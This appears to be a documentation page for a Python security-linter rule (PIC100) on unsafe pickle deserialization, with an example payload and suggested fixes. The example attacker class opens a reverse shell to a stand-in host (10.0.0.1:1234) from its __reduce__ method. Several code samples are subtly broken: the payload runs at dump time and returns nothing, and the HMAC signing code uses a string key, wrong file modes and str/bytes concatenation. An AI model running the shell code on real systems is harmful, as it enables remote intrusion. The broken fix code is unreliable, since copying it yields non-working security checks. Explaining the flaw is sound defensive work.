PIC100

Loading serialized data with the pickle module can expose arbitrary code execution using the reduce method.

Before objects are serialised, they can have a custom __reduce__ method attribute, which will execute on expansion during the pickle loader.

This can be used to injection malicious data into serialized data.

Because pickle is often used for caching or storing python objects by serialization, attackers will use this flaw to write arbitrary code to execute on the host.

Example

import pickle

with open(f) as input:
    python_objects = pickle.load(input)

An example attacker payload could be:

import pickle

class ReverseShell:
    def __reduce__(self):
        import socket,subprocess,os
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p=subprocess.call(["/bin/sh","-i"])

payload = pickle.dumps(ReverseShell())

To start an open shell on 10.0.0.1:1234.

Fixes

Either:

  • Use an alternative deserialization method, like JSON
  • Sign your serialized pickle data and then verify it before deserializing to ensure it hasn’t been tampered with

Signing pickles

To sign your pickled data, use the hmac module to hash the pickle data and insert it as a header.

import hashlib
import hmac
import pickle

data = pickle.dumps(obj)
digest =  hmac.new('unique-key-here', data, hashlib.blake2b).hexdigest()
with open(f) as output:
    output.write(str(digest) + ' ' + data)

To verify signed data, use something like this:

import hashlib
import hmac
import pickle
import secrets

digest, pickle_data = data.split(' ')
expected_digest = hmac.new('unique-key-here', pickle_data, hashlib.blake2b).hexdigest()

if not secrets.compare_digest(digest, expected_digest):
    print('Invalid signature')
    exit(1)

obj = pickle.loads(pickle_data)